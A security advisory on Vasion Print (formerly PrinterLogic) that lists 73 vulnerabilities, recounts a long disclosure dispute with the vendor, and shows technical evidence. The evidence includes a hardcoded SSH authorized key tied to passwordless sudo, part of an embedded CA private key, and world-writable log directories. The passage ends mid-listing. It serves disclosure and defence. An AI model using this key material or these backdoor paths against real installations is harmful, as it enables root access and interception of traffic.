Secure. Scalable. Print Automation That Just Works. Eliminate print servers to secure your environment. Leverage the power of AI and automation to streamline print processes through one central location. Say goodbye to the frustrations of a traditional print environment and welcome a new era of print automation.
Serverless Print Automation with Built-In Flexibility Print servers are prone to failure, expensive to maintain, and pose major security risks. Vasion Print's cloud-native, centrally-managed direct IP printing architecture eliminates the need for legacy systems, simplifying your IT infrastructure and reducing operational costs. By eliminating print servers, your print environment is highly available with low maintenance, allowing your business to scale and transform with automation and AI.
Vulnerable versions for patched vulnerabilities: Vason Print Virtual Appliance Host < 25.1.102, Application < 25.1.1413.
Vulnerable versions for unpatched vulnerabilities: all versions.
I. The summary of the vulnerabilities found in 2021:
11 vulnerabilities affecting the MacOS/Linux client
1. CVE-2025-27685 - Hardcoded Private key for the PrinterLogic CA and Hardcoded password
2. CVE-2025-27682 - Incorrect permissions in /opt/PrinterInstallerClient/log
3. non-assigned CVE vulnerability - Leak of secrets inside the logs
4. non-assigned CVE vulnerability - Lack of authentication of the communication between services
5. CVE-2025-27681 - Bypass of admin commands using IPC
6. non-assigned CVE vulnerability - Authentication bypass on the PrinterInstallerClientService program
7. CVE-2025-27683 - Potential upload of new drivers
8. CVE-2025-27684 - Insecure generation of debug archive
9. CVE-2025-27677 - Arbitrary File Read as root
10. non-assigned CVE vulnerability - Arbitrary File Write as root
11. non-assigned CVE vulnerability - Outdated OpenSSL version
5 vulnerabilities affecting the Windows client
12. non-assigned CVE vulnerability - Insecure PrinterInstallerClientInterface.exe, PrinterInstallerClient.exe and PrinterInstallClientLauncher.exe
13. CVE-2025-27678 - Local Privilege Escalation with insecure use of C:\Windows\Temp\PPP\Log
14. non-assigned CVE vulnerability - Local Privilege Escalation with insecure use of C:\Users\%USER%\AppData\Local\Temp
15. non-assigned CVE vulnerability - Remote Code Execution (Execution of C:\Program.exe during the installation of a driver)
16. non-assigned CVE vulnerability - Hardcoded Private key for the PrinterLogic CA and Hardcoded password
II. The summary of the vulnerabilities found in 2022:
33 vulnerabilities affecting the VA and SaaS versions
17. non-assigned CVE vulnerability - Hardcoded password for the ubuntu user
18. non-assigned CVE vulnerability - Hardcoded SSH server keys
19. non-assigned CVE vulnerability - Insecure communications to printers and insecure communications to micro-services by disabling all SSL verifications
20. non-assigned CVE vulnerability - Password for network
stored in clear-text inside /etc/issue
, world-readable
21. CVE-2025-27650 - Hardcoded SSH keys + private SSH keys for [redacted]@printerlogic.com
22. CVE-2025-27643 - Hardcoded AWS secret key and Presence of CI/CD scripts
23. CVE-2025-27638 - Hardcoded Mailgun credentials
24. CVE-2025-27674 - Hardcoded OKTA Private key
25. non-assigned CVE vulnerability - Lack of firewall between Docker instances
26. non-assigned CVE vulnerability - Insecure access to Docker instances from the WAN
27. non-assigned CVE vulnerability - Incorrect security architecture and wrong permissions in /var/www/efs_storage allowing allowing to compromise the solution
28. non-assigned CVE vulnerability - Outdated, End-Of-Life, unsupported and vulnerable components (Nginx, libraries, Laravel, operating systems)
29. non-assigned CVE vulnerability - Processes running as root in Docker instances
30. CVE-2025-27639 - Creation of administrator cookies using the credentials of regular users
31. CVE-2025-27637 - XSS in the license generator and weak encryption algorithm
32. CVE-2025-27649 - Incorrect Access Control to PHP webpages allowing to reach printers
33. CVE-2025-27651 - Pre-authentication Elatec password disclosure, Change to a malicious Elatec server and Blind-SSRF
34. CVE-2025-27652 - Pre-authenticated SSRF and Change of RFIDeas
35. CVE-2025-27653 - Pre-authenticated Stored XSS in /var/www/app/console_release/fast_release/register_badge.php
36. CVE-2025-27655 - SSRF everywhere in /var/www/app and compromise of the SaaS infrastructure
37. CVE-2025-27679 - XSS in /var/www/app/console_release/fast_release/ register_badge_new.php
38. CVE-2025-27676 - XSS in /www/app/admin/design/reports/overview_popup.php and Incorrect Access Control
39. CVE-2025-27654 - XSS everywhere in /www/app/admin/*
40. CVE-2025-27657 - Remote Code Executions using eval() - requires administrator privileges
41. non-assigned CVE vulnerability - Dangerous PHP dead code
42. non-assigned CVE vulnerability - Insecure SSH configuration
43. non-assigned CVE vulnerability - Incorrect encryption algorithms used to store passwords
44. non-assigned CVE vulnerability - GPG Private key stored in the solution
45. non-assigned CVE vulnerability - Passwords readable and stored in clear-text
46. non-assigned CVE vulnerability - Hardcoded SSL certificate / Private keys
47. CVE-2025-27656 - Samba password available in the process list
48. non-assigned CVE vulnerability - Supply Chain attack against the PrinterLogic build system
49. CVE-2025-27675 - Vulnerable OpenID implementation
1 vulnerability affecting only the VA version
50. CVE-2025-27680 - Insecure firmware image update using the MS_AUTH_KEY variable
III. The summary of the vulnerabilities found in 2024:
4 vulnerabilities affecting only the SaaS version
51. CVE-2025-27648 - Cross-tenant vulnerability - disclosure of passwords of other customers and change of settings of any tenant
52. CVE-2025-27646 - Take over of tenants without authentication
53. non-assigned CVE vulnerability - Insecure design of the SaaS version
54. non-assigned CVE vulnerability - SQL Backups stored in clear-text in the Cloud
2 vulnerabilities affecting only the VA version
55. non-assigned CVE vulnerability - Pre-authenticated Remote take over of PrinterLogic instances (Remote Code Execution)
56. non-assigned CVE vulnerability - Remote Code Execution and Leak of passwords using APIs
25 vulnerabilities affecting the VA and SaaS versions
57. non-assigned CVE vulnerability - Undocumented hardcoded SSH key
58. non-assigned CVE vulnerability - Internal Docker instances exposed on the LAN and the Internet
59. non-assigned CVE vulnerability - Docker instance used to upload clients reachable from the Internet and the LAN
60. non-assigned CVE vulnerability - Unauthenticated API leaking group information
61. CVE-2025-27645 - Installation of the Firefox plugin over HTTP
62. non-assigned CVE vulnerability - Authentication Bypass - Docker instances reachable without authentication
63. CVE-2025-27647 - Addition of partial-admin users without authentication
64. CVE-2025-27641 - Unauthenticated admin APIs allowing to configure the IdP (SSO) authentication mechanism
65. non-assigned CVE vulnerability - Unauthenticated admin APIs allowing to upload/download SSL certificates
66. non-assigned CVE vulnerability - Insecure credentials used for the installation
67. non-assigned CVE vulnerability - No authentication required to configure/delete printers/rfid devices
68. non-assigned CVE vulnerabilities - 11 SSRF vulnerabilities in the console_release directory
68.1. non-assigned CVE vulnerabilities - 4 SSRF vulnerabilities in /var/www/app/console_release/lexmark/update.php
68.2. non-assigned CVE vulnerability - 1 blind SSRF vulnerability in /var/www/app/console_release/hp/installApp.php
68.3. non-assigned CVE vulnerabilities - 2 blind SSRF vulnerabilities in /var/www/app/console_release/hp/log_off_single_sign_on.php
68.4. non-assigned CVE vulnerabilities - 2 SSRF vulnerabilities in /var/www/app/console_release/hp/badgeSetup.php
68.5. non-assigned CVE vulnerabilities - 2 blind SSRF vulnerabilities in /var/www/app/console_release/lexmark/dellCheck.php
69. non-assigned CVE vulnerability - Insecure use of file_get_contents() allowing to bypass security checks
70. non-assigned CVE vulnerability - Hardcoded keys used to encrypt information - insecure encryption
71. CVE-2025-27642 - Unauthenticated webpage allowing to edit driver packages
2 vulnerabilities affecting the Windows client
72. CVE-2025-27644 - Local Privilege Escalation
73. non-assigned CVE vulnerability - Insecure option allowing an attacker to get Remote Code Execution against any client
Miscellaneous notes:
A blackbox security assessment of the MacOS client was done in 2021 (3 days of work) without access to the back-end (Virtual Appliance or SaaS) and was provided to PrinterLogic (now Vasion Print). A (very) quick security assessment of the Windows Client was also done in 2021 (~ 6 hours of work - as PrinterLogic was not the main target of the security evaluation) and was provided to PrinterLogic (now Vasion Print).
A third report analysing the Virtual Appliance and SaaS version was provided in February 2022 to Vasion after a 3-week security assessment. The vendor provided a test SaaS deployment.
A fourth security assessment (3 weeks of work), analysing the Virtual Appliance and SaaS version (the vendor provided a test SaaS deployment), was provided in January 2024 to the vendor allowing to check the status of the previously reported vulnerabilities. During this 2024 security assessment, 34 new vulnerabilities were found using the previous knowledge obtained in 2022 and it was confirmed that 20 of 33 vulnerabilities found in the VA/SaaS version previously reported in 2022 have not been patched - which was quite problematic.
While waiting for security patches to vulnerabilities I reported to the vendor, a previous colleagues of mine - Wireghoul - published another security assessment of PrinterLogic in 2023 with very cool findings: PrinterLogic SaaS, multiple vulnerabilities. Surprisingly, the 18 vulnerabilities he found did not collide with my findings.
Following an email sent to the vendor in September 2024 stating that I would disclose all the vulnerabilities without security patches, the vendor finally confirmed that they would work to provide security patches before January 2025 for all the remaining issues and they confirmed that they had already released some security patches. They also communicated more often on the status of the security patches.
It took more than 3 years to get incomplete security patches for vulnerabilities found in 2022 and 1 year for vulnerabilities found in 2024 (see below). My interpretation is that the vendor was overwhelmed with my findings.
Regarding reports sent in 2022 and 2024, the vendor never asked me technical details regarding vulnerabilities and they stated by email on October 5, 2024 that all the reported vulnerabilities would be fixed. The vendor also reconfirmed again on January 17, 2025 that all the vulnerabilities had been fixed (except vulnerabilities related to Docker configuration) so my assumption was they accepted all the vulnerabilities and patched them. Unfortunately, I was incorrect and in discussions related to disclosure and missing Vendor's security bulletins in March 2025, it appeared, to my surprise, that Vasion considered 8 vulnerabilities to be "feature requests" and had consequently not been patched. When reviewing the previous tracking document they shared with me, some of these vulnerabilities were missing or were indicated as "patched". It is unclear if the vendor would patch them. I included the Vendor Response regarding disputed and unpatched vulnerabilities in this document, followed by my comments, because the vendor disagreed with my analysis but I strongly believe that some of the final Vendor's responses are technically incorrect (please find my technical explanations below).
At least 4 vulnerabilities (2 reported in February 2020 and 2 reported in January 2024 [including a rejected vulnerability]) have not been yet patched, allowing a remote attacker to get a Remote Code Execution against Vasion Print without authentication. Requiring more than 3 years to provide incomplete security patches does not appear to be in line with the best practices in responding to cybersecurity risks. It is also quite worrying that the vendor decided to reject valid vulnerabilities (including a backdoor RCE reported in January 2024) and did not provide security patches for 1 RCE reported in January 2022 and 2 RCEs reported in January 2024.
Due to the design of the solution - Vasion Print needs to reach remote printers over HTTP and HTTPS - Vasion Print is prone to SSRF vulnerabilities. 11 SSRF vulnerabilities were reported based on webpages that were randomly chosen and analyzed. SSRF vulnerabilities could be catastrophic in an Cloud environment because an attacker can reach metadata services and extract credentials for lateral movements. Additionally, multiple cross-tenant vulnerabilities were found allowing an attacker to compromise any instance. I recommended to the vendor to review hundreds of calls to curl and file_get_contents() that use attacker-controlled inputs, in order to patch SSRF vulnerabilities.
I did not check if the reported vulnerabilities have been correctly patched.
I waited over 13 times longer than the usual coordination time (13 * 3 months) hoping that the vendor would release complete security patches. Unfortunately, they did not patch all the vulnerabilities.
Consequently, I decided to provide this security advisory to share some recommendations to mitigate the security risks on this solution.
The vulnerabilities found in 2024 are way more impactful, since I used my previous knowledge to analyze interesting entrypoints allowing an attacker to perform multiple Remote Code Executions, authentication bypasses and cross-tenant vulnerabilities and I suggest directly reading the 2024 vulnerabilities.
Although the list of vulnerabilities is substantial, I consider that the security posture of Vasion Print has improved significantly as a result of the reporting of these vulnerabilities.
Regarding the (lack of) CVEs, the vendor confirmed that they reached MITRE multiple times to have CVE identifiers assigned to vulnerabilities.
Unfortunately, they never got any reply and they used custom identifiers to track vulnerabilities (V-YEAR-NUMBER
) in their security bulletins. I reached JPCERT to assign CVE Identifiers to the vulnerabilities, since I worked with JPCERT in 2023 for vulnerabilities found in Toshiba and Sharp Multi-Function printers. Finally, MITRE assigned 33 CVEs in March 2025 but more than 50 CVE IDs are still missing.
I reached MITRE in March 2025 two times to assign CVE IDs to the non-assigned vulnerabilities and will update this security advisory accordingly if CVEs are assigned.
Impacts
An attacker can compromise Vasion Printer installations without authentication, move laterally in the Windows/MacOS clients and get Remote Code Execution on these clients.
It was also possible to compromise other customers since cross-tenant vulnerabilities were found, allowing to disclose clear-text passwords of other customers and get admin access to their accounts using multiple vulnerabilities.
A multitude of SSRF vulnerabilities were found, potentially allowing an attacker to compromise the underlying AWS infrastructure of the SaaS version.
Recommendations
Please note that the following recommendations are based on the multiple vulnerabilities that were found in Vasion print. Implementing these recommendations will considerably reduce the attack surface, limit security risks and get unpatched vulnerabilities patched:
~printerlogic/.ssh/authorized_keys
file found in the Virtual Appliance. This file contains a hardcoded public SSH key allowing an undocumented backdoor SSH access with password-less sudo privileges (providing a full root access) if SSH is used on the Virtual Appliance. Vasion rejected this vulnerability.The vendor stated they would patch these vulnerabilities in a future release of Vasion Print:
2022:
Note that an attacker located in the same network segment will be able to achieve Remote Code Execution against the Virtual Appliance using this vulnerability.
2024:
Note that an attacker located in the same network segment will be able to achieve Remote Code Execution against the Virtual Appliance using this vulnerability.
On March 12, 2025, Vasion considered the following issues as "feature requests" or non issues and consequently they responded no security bulletins would be published. After sending my feedback stating that I was surprised that some vulnerabilities would not be patched, Vasion provided a final risk analysis on March 18, 2025 regarding disputed findings:
"The presence of a network password in clear text within the /etc/issue directory does not pose an immediate risk to the confidentiality, integrity, or availability (CIA) of customer data or systems. Exploitation of this finding would require either physical access to the host system or prior network access, limiting the likelihood of unauthorized exposure. However, as a security best practice, Vasion continuously evaluates opportunities to enhance protections against potential attack vectors."
non-assigned CVE vulnerability - Lack of firewall between Docker instances
"This has been categorized as a feature request. The absence of firewalls between Docker instances does not introduce a risk to customer data or system security. While implementing firewalls could enhance the overall defense-in-depth strategy, it is not a requirement for maintaining product security. The researcher's recommendations have been submitted as an internal feature request to further strengthen security. No security bulletin will be published for this finding."
"This has been categorized as a feature request. The Vasion Automate Virtual Appliance operates under a shared responsibility model, where administrators are responsible for configuring persistent storage and encrypting configuration files. The researcher identified certain configuration files with excessive permissions, which is only applicable in cases where storage encryption has not been properly configured. Encryption configurations vary based on deployment environments. Customers are advised to follow best practices for securing persistent storage, as outlined in Vasion's deployment guidance for AWS and other environments. No security bulletin will be published for this finding."
non-assigned CVE vulnerability - Incorrect encryption algorithms used to store passwords
"This issue was partially resolved. However, due to an extended timeline for migrating to the new login portal, the legacy authentication platform will remain in use for an undetermined period. In light of this, the issue has been reopened and will be addressed as a priority. The resolution will be implemented as soon as possible."
non-assigned CVE vulnerability - Passwords readable and stored in clear-text
"This has been categorized as a feature request. The Vasion Automate Virtual Appliance follows a shared responsibility model, where administrators are expected to configure persistent storage encryption. The researcher identified certain network passwords stored in clear text, but this is only applicable when storage encryption is not properly configured. Encryption configurations vary by deployment environment. Customers are advised to follow best practices for securing persistent storage. No security bulletin will be published for this finding."
non-assigned CVE vulnerability - Insecure design of the SaaS version
"This finding has been classified as a false positive. A review of Vasion's internal architecture confirms that Server-Side Request Forgery (SSRF) cannot lead to account takeover as proposed. The hypothetical attack path presented requires multiple additional vulnerabilities, which are not present in the product's gateway microservices. No security bulletin will be published for this finding."
non-assigned CVE vulnerability - Undocumented hardcoded SSH key
"This finding has been classified as a false positive. The Vasion Automate Virtual Appliance is a containerized application running on an underlying host. SSH key generation is unique per virtual appliance and cannot be tracked by Vasion. SSH is then disabled for the Virtual Appliance's host. This approach is a standard practice for Docker-built virtual applications to maintain host security. No security bulletin will be published for this finding."
"This finding has been classified as a false positive. The identified gateway is designed to facilitate communication between external services and backend services. It does not handle client uploads or distribution as suggested in the report. No security bulletin will be published for this finding."
Find my comments below related to the Vendor Response on disputed and unpatched vulnerabilities:
Displaying clear-text credentials on the console is against good security practices. While the likelihood is low, an attacker with access to the server console (e.g. with IPMI, iLO) can compromise the server.
non-assigned CVE vulnerability - Lack of firewall between Docker instances
The security assessment demonstrates that it is possible to get Remote Code Execution using this vulnerability (e.g., via Redis, currently exposed on the network, or any other SSRF vulnerability) when an attacker has a shell inside a Docker instance or exploits a SSRF vulnerability in the solution.
It is also widely known that a SSRF vulnerability that can reach a Redis server allows remote code execution.
It is likely that the vendor considers in its threat model that an attacker cannot exploit SSRF vulnerabilities (while I found more than 10 different SSRFs).
As a workaround, the vendor advises to use AWS EBS storage encryption.
EBS storage encryption encrypts disk I/O on the volume and is unrelated to file permissions issues.
The official EBS documentation (https://docs.aws.amazon.com/ebs/latest/userguide/how-ebs-encryption-works.html) only states that encryption is performed on the volume.
The AWS threat model is as follows: (1) a hard drive is stolen; (2) an attacker on the network can intercept disk I/O; or (3) an attacker without IAM permissions cannot retrieve the encryption key to decrypt the volume.
Volume encryption does not protect against an attacker using a shell on the instance and does not patch insecure permissions.
As a result, an attacker with a shell inside a Docker instance will have full access to plaintext credentials because insecure permissions are used.
non-assigned CVE vulnerability - Passwords readable and stored in clear-text
Similar comment as above.
non-assigned CVE vulnerability - Insecure design of the SaaS version
Vasion has not provided any information regarding additional authentications between services.
When analyzing PHP files, it looks like that only the X-Site-ID header is used.
Vasion states that additional vulnerabilities are required. It is unclear what additional vulnerabilities are required.
non-assigned CVE vulnerability - Undocumented hardcoded SSH key
The technical explanation provided by Vasion appears to be likely incorrect since it refers to SSH host key files (found in /etc/ssh/ssh_*
), and it is unrelated to the ~printerlogic/.ssh/authorized_keys
file that was reported in January 2024.
The hardcoded file ~printerlogic/.ssh/authorized_keys
is still present in the latest version of Virtual Appliance (February 2025, 25.1.102 - https://va.printerlogic.com/virtual-appliance/releases/25.1.102/printerinstaller-25.1.102.ova - e8c96fdf85298c2afb0a68726a8c3e78911aff5b8288ea9b7c7b005aa18290d4), providing a root shell access to any attacker in possession of the corresponding private key is SSH is running:
vm# cd home vm# ls -la total 20 drwxr-xr-x 5 root root 4096 Feb 20 2025 . drwxr-xr-x 19 root root 4096 Feb 20 2025 .. drwxr-x--- 3 network docker 4096 Feb 20 2025 network drwxr-x--- 3 printerlogic printerlogic 4096 Feb 20 2025 printerlogic drwxr-x--- 4 ubuntu docker 4096 Feb 20 2025 ubuntu vm# find printerlogic printerlogic printerlogic/.bash_logout printerlogic/.profile printerlogic/.ssh printerlogic/.ssh/authorized_keys printerlogic/.bashrc vm# cat printerlogic/.ssh/authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCw+sKOEvtwR/sOlzWKmZkiRfoZs9Atdm5EVIdSADiOGstscYFmXB12a6BlHptBziq2Z9NUHoRfAS923Mgk9KdGhK/0qIheyLuFks1uLve2MiIkwO4hb72AtwN8ceecJSBu6FvOq0LMEMl1PX3sNt1Yu+CFIAUfr47P6ja2y1qmW9Mj9pGGLafXFuP49D1bZ5wnZ/XVusHHyHqOOA4D1IMAxP7YqhbM6FekE9oiQqX3r//ci5YtG+yzbCcLSBjIOxVpRDFX9/0AKYzeC5DiKkQ8if+xyND0cS1kI/D5NQ5Q/NIttoQRMETv8jXDhycUrZPEOEaP4ODWj0wRD/rtTwkV12Kf9i0hxmKxh2TH7LXBEjlq6xo7w9GLSapyV2AREP94NoZjL7GAPIdz3JneiyOvb/pcCR8xjHijlr8WXk9M0ZK2Ma29KCAl4ZLPC3z43psJyYLDXmJOrIsJNE4bnBaBuWADZPKYPC54WzqpTjmp1wObQT+Jbecf/GYj0rqj2GSqu2Ij8fBKS4rJ/2aee3afLwbsYVqz/g0x4qaOZo+X6DcrvLErbgERs471k80QMWOhLbOCYtIAEcZI2gnhD3ZMZXc790sp1PC2WXD2dZFEXBqLTMIKdaIL2Nc/XCt6TYZpcfvt49S6p3KiTtN9BrfPhyINof8DbzHL2d4dL0q6/Q== Virtual Appliance Development Key vm# grep printerlogic /etc/group printerlogic_ssh:x:1001:printerlogic printerlogic:x:1002: vm# grep printerlogic /etc/sudoers %printerlogic_ssh ALL=(ALL) NOPASSWD: ALL
Vasion reports that the upload Docker instance is not in use, but is running and accessible from the network.
It's unclear why the vendor chooses to expand the attack surface by exposing unused services to the network.
The laptop is running macOS Big Sur and the Printerlogic version is 25.1.0.504:
Printerlogic version:
user@laptop ~ % cat /opt/PrinterInstallerClient/VERSION
25.1.0.504
The configuration file of PrinterLogic can be found in /opt/PrinterInstallerClient/tmp/data/clientsettings.dat
. It is an XML file containing some values:
Content of /opt/PrinterInstallerClient/tmp/data/clientsettings.dat
:
<?xml version="1.0" encoding="utf-8"?>
<result code="1">
<desc>Successful</desc>
<account_settings>
<setting name="serverType">saas</setting>
<setting name="admin_prot">Any (specified by url)</setting>
<setting name="app_url">https://[redacted].printercloud10.com</setting>
<setting name="badge_ad_object"/>
<setting name="badge_password">SET</setting>
It contains a custom Certificate Authority (CA) and its associated private key:
<setting name="caCertificate">-----BEGIN CERTIFICATE-----
MIIF+DCCA+CgAwIBAgIBADANBgkqhkiG9w0BAQ0FADCBlDELMAkGA1UEBhMCVVMx
DTALBgNVBAgMBFV0YWgxEzARBgNVBAcMClN0LiBHZW9yZ2UxFTATBgNVBAoMDFBy
aW50ZXJMb2dpYzEZMBcGA1UECwwQUHJpbnRlckluc3RhbGxlcjEvMC0GA1UEAwwm
UHJpbnRlckluc3RhbGxlciBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMjEwNjA4
MDEwOTExWhcNNDEwNjAzMDEwOTExWjCBlDELMAkGA1UEBhMCVVMxDTALBgNVBAgM
BFV0YWgxEzARBgNVBAcMClN0LiBHZW9yZ2UxFTATBgNVBAoMDFByaW50ZXJMb2dp
YzEZMBcGA1UECwwQUHJpbnRlckluc3RhbGxlcjEvMC0GA1UEAwwmUHJpbnRlcklu
c3RhbGxlciBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUA
A4ICDwAwggIKAoICAQCs4uTY7wGVIs14OPZnEx33WwXg3b5aAEEw6uTiwgutiZoj
UoAJ7hytkEK7KDOB1TL7/IphKmtJdkixLgZYiLtRjzejOeQNPNbvROg/TtBADTal
Wp6d7j3Sr8a6yz0lwbMYgdpmu1M9kxAgc10PX2tbjcnGfP2LQ5eXofHkkyvGtCaE
o9RSs0DOLsIrK9Y6yctz+tKhYca0wPjIqp0IQBfHaCnskmqrWMlUU2PW9b3cIY96
[...]
NmRZ843dZWEvh7Sa7uOqjXGbKgM209Y+z1qTGS5ge6+yE/08dswGx6lQLkgOGJjh
ocC5e+TosH3ISmcx/Y0rRYzKVOzW77v18ijozAKlG4usf/vPFaZD+72IaTM=
-----END CERTIFICATE-----
</setting>
[...]
<setting name="cac_filter"/>
<setting name="cac_issuers"/>
<setting name="cac_subjects"/>
<setting name="caPrivateKey">-----BEGIN PRIVATE KEY-----
MIIJQwIBADANBgkqhkiG9w0BAQEFAASCCS0wggkpAgEAAoICAQCs4uTY7wGVIs14
OPZnEx33WwXg3b5aAEEw6uTiwgutiZojUoAJ7hytkEK7KDOB1TL7/IphKmtJdkix
LgZYiLtRjzejOeQNPNbvROg/TtBADTalWp6d7j3Sr8a6yz0lwbMYgdpmu1M9kxAg
c10PX2tbjcnGfP2LQ5eXofHkkyvGtCaEo9RSs0DOLsIrK9Y6yctz+tKhYca0wPjI
qp0IQBfHaCnskmqrWMlUU2PW9b3cIY96qCI1qvlIYBJwm49tC6Wq84BlkNHmZ/Fz
7i56aAA6F9O46iODUrJvabwDs7N6MSuzoCatC4kciig85pr6jengpWbp3E6Z7ybo
[...]
G3KOXALBOZOYykvJN1Q8v+dPmHE0qO4/t4Axz+NTtPbxd5k0AM9Lz7EfEspyrTau
+J0lD0I+7GdKk4dwUbmjCrfNDpAAs0l9rmLZ8gYKa9olnVJPB04TQBAwqR6ymwKj
LAECggEBANtxgXHp32BccvuzuNMd+Ep9RmfBHHSJTYSOlcdDh7U3j786JiYtLVxL
T87iC9gVwkKqi71aXMziWEMzN4JobtQyfLQ+T5kHFzBsU0L8wV/9JNkqzASsm0N7
ZhBMptDYB5TMgVy/KSALl1eyDi5z+YHe3tDU958c7OnkrhHu+qH6PMfLp3xziR6S
a6+mSov2DwmlJJ+y5MvYSXhh5kg0xbulg/kr8jWY0hfopQGAHT2eUmlMaS3ZCxIk
FqmTjGpNQnxLd+LS+YEKyjZsfs/5srqTzyVnn+D2TNeWpbinUESX3hQxXsdU5vDr
2lS4nryEiEh2058Cq6Z4zsBtsjNgtAg=
-----END PRIVATE KEY-----
It is possible to confirm this private key is the private key of the public CA by checking modulus - they have the same modulus value:
kali% openssl rsa -noout -modulus -in CA.key
Modulus=ACE2E4D8EF019522CD7838F667131DF75B05E0DDBE5A004130EAE4E2C20BAD899A23528009EE1CAD9042BB283381D532FBFC8A612A6B497648B12E065888BB518F37A339E40D3CD6EF44E83F4ED0400D36A55A9E9DEE3DD2AFC6BACB3D25C1B31881DA66BB533D931020735D0F5F6B5B8DC9C67CFD8B439797A1F1E4932BC6B42684A3D452B340CE2EC22B2BD63AC9CB73FAD2A161C6B4C0F8C8AA9D084017C76829EC926AAB58C9545363D6F5BDDC218F7AA82235AAF9486012709B8F6D0BA5AAF3806590D1E667F173EE2E7A68003A17D3B8EA238352B26F69BC03B3B37A312BB3A026AD0B891C8A283CE69AFA8DE9E0A566E9DC4E99EF26E887E7D7F2C786998BB440DD7F8A9009E4F6790F2F51A06ECD03AEA1FC46035B1BA72F43A8DF0EAC662DCB2F22E5E42BED8B04F7AF2D10EE97007499DE30A3A6225D61FB2856D3563D5E7855FFDA3DB8D599D064471F524E01DF2944F7BC70BC454F2F1CDA8CA0D5737A23E6280C25FCCAD5C1C439F5CE01CBE0348DC190508E73506EAF7060129B63661AF1AE2EA2E4F7695B3A66772A501F33FF13A2947600C8425BC1E7F1B3E664C84A9A284ADAA3352F5C0C6A07991800CDD0DA207497673FAFE046522B57F8C20AC3E14B98F25BA07B58650D0F9CEEA234A41CD268E9507E53BDAB9B46FF0DB39875E3C1AA719376AF6C240A8C99D13D8F525F2E7037523F12CB9855AFBB
kali% openssl x509 -noout -modulus -in CA.pem
Modulus=ACE2E4D8EF019522CD7838F667131DF75B05E0DDBE5A004130EAE4E2C20BAD899A23528009EE1CAD9042BB283381D532FBFC8A612A6B497648B12E065888BB518F37A339E40D3CD6EF44E83F4ED0400D36A55A9E9DEE3DD2AFC6BACB3D25C1B31881DA66BB533D931020735D0F5F6B5B8DC9C67CFD8B439797A1F1E4932BC6B42684A3D452B340CE2EC22B2BD63AC9CB73FAD2A161C6B4C0F8C8AA9D084017C76829EC926AAB58C9545363D6F5BDDC218F7AA82235AAF9486012709B8F6D0BA5AAF3806590D1E667F173EE2E7A68003A17D3B8EA238352B26F69BC03B3B37A312BB3A026AD0B891C8A283CE69AFA8DE9E0A566E9DC4E99EF26E887E7D7F2C786998BB440DD7F8A9009E4F6790F2F51A06ECD03AEA1FC46035B1BA72F43A8DF0EAC662DCB2F22E5E42BED8B04F7AF2D10EE97007499DE30A3A6225D61FB2856D3563D5E7855FFDA3DB8D599D064471F524E01DF2944F7BC70BC454F2F1CDA8CA0D5737A23E6280C25FCCAD5C1C439F5CE01CBE0348DC190508E73506EAF7060129B63661AF1AE2EA2E4F7695B3A66772A501F33FF13A2947600C8425BC1E7F1B3E664C84A9A284ADAA3352F5C0C6A07991800CDD0DA207497673FAFE046522B57F8C20AC3E14B98F25BA07B58650D0F9CEEA234A41CD268E9507E53BDAB9B46FF0DB39875E3C1AA719376AF6C240A8C99D13D8F525F2E7037523F12CB9855AFBB
kali%
Description of the CA:
kali% openssl x509 -in CA.pem -text -noout
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 0 (0x0)
Signature Algorithm: sha512WithRSAEncryption
Issuer: C = US, ST = Utah, L = St. George, O = PrinterLogic, OU = PrinterInstaller, CN = PrinterInstaller Certificate Authority
Validity
Not Before: Jun 8 01:09:11 2021 GMT
Not After : Jun 3 01:09:11 2041 GMT
Subject: C = US, ST = Utah, L = St. George, O = PrinterLogic, OU = PrinterInstaller, CN = PrinterInstaller Certificate Authority
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public-Key: (4096 bit)
Modulus:
[...]
X509v3 extensions:
X509v3 Subject Key Identifier:
E7:D5:61:DF:25:55:26:00:96:89:09:0C:B1:E2:8F:35:AD:E7:1B:16
X509v3 Authority Key Identifier:
keyid:E7:D5:61:DF:25:55:26:00:96:89:09:0C:B1:E2:8F:35:AD:E7:1B:16
X509v3 Basic Constraints:
CA:TRUE, pathlen:0
Signature Algorithm: sha512WithRSAEncryption
33:d4:53:d0:d5:f0:08:45:b9:c3:3c:90:3c:17:da:af:84:74:
The program PrinterLogic may use this CA to transmit data securely.
It may allow an attacker to intercept data.
By default, the printer runs several daemons as root:
user@laptop ~ % ps -ef | grep Printer
0 102 1 0 6:20PM ?? 0:00.02 sh /opt/PrinterInstallerClient/service_interface/run_service.sh
0 157 102 0 6:20PM ?? 2:22.44 /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService
0 55296 157 0 7:19PM ?? 0:00.65 /opt/PrinterInstallerClient/service_interface/modules/PrinterLogicIdpAuthentication/PrinterLogicIdpAuthentication launch https://[redacted].printercloud10.com 0
0 55974 157 0 7:22PM ?? 0:00.16 /opt/PrinterInstallerClient/service_interface/PrinterInstallerClient.app/Contents/MacOS/PrinterInstallerClient login
user@laptop ~ %
These daemons will write logs in the directory /opt/PrinterInstallerClient/log
.
The directory /opt/PrinterInstallerClient/log
is 777
, allowing any user to add any file in this directory.
Listing of /opt/PrinterInstallerClient/log:
sh-3.2# pwd /opt/PrinterInstallerClient/log sh-3.2# ls -la total 5976 drwxrwxrwt 11 root wheel 352 Dec 7 17:37 . drwxr-xr-x 13 root wheel 416 Dec 7 16:53 .. -rw-r--r-- 1 root wheel 31 Dec 9 18:10 HOMEURL -rw-r--r-- 1 root wheel 122847 Dec 9 17:39 PrinterLogicIdpAuthentication.log -rw-r--r-- 1 root wheel 2068 Dec 7 16:53 install.log -rw-rw-rwT 1 root wheel 14141 Dec 9 17:39 interface.log -rw-r--r-- 1 root wheel 7927 Dec 9 17:36 launchd_service.log -rw-r--r-- 1 root wheel 27012 Dec 8 15:04 launchd_service_error.log -rw-r--r-- 1 root wheel 1177989 Dec 9 18:10 service.log -rw-r--r-- 1 root wheel 657784 Dec 9 18:10 service_info.log -rw-r--r-- 1 root wheel 2 Dec 9 17:36 service_last_exit sh-3.2#
The fileinterface.log
is open to everyone (666
), allowing adding random logs or erasing the logs:
user@laptop log % ls -la interface.log
-rw-rw-rwT 1 root wheel 23632 Dec 9 19:45 interface.log
user@laptop log % tail -n 2 interface.log
